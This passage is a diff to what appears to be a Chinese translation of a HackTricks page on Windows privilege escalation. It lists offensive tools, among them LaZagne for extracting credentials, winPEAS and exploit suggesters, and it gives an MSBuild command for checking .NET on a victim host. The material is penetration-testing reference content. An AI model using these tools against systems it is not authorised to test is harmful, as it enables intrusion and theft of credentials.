privesc)(需要编译)**(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从大量软件中提取凭证(github 上有预编译 exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查 misconfiguration(可执行文件已在 github 上预编译)。不推荐。它在 Win10 上表现不佳。\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的 misconfigurations(python 打包为 exe)。不推荐。它在 Win10 上表现不佳。 +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查 misconfiguration(在 github 有预编译可执行文件)。不推荐。它在 Win10 上表现不佳。\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的 misconfigurations(基于 python 的 exe)。不推荐。它在 Win10 上表现不佳。 **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于该帖子创建的工具(不需要 accesschk 也能正常工作,但可以使用它)。 +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于此帖子创建的工具(它不需要 accesschk 即能正常工作,但可以使用它)。 **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐可用 exploit(本地 python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐可用 exploit(本地 python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐可用的 exploit(本地 python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐可用的 exploit(本地 python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -你必须使用正确版本的 .NET 来编译该项目([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上已安装的 .NET 版本,你可以执行: +你需要使用正确版本的 .NET 编译该项目([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上已安装的 .NET 版本,你可以执行: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1643,4 +1675,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}}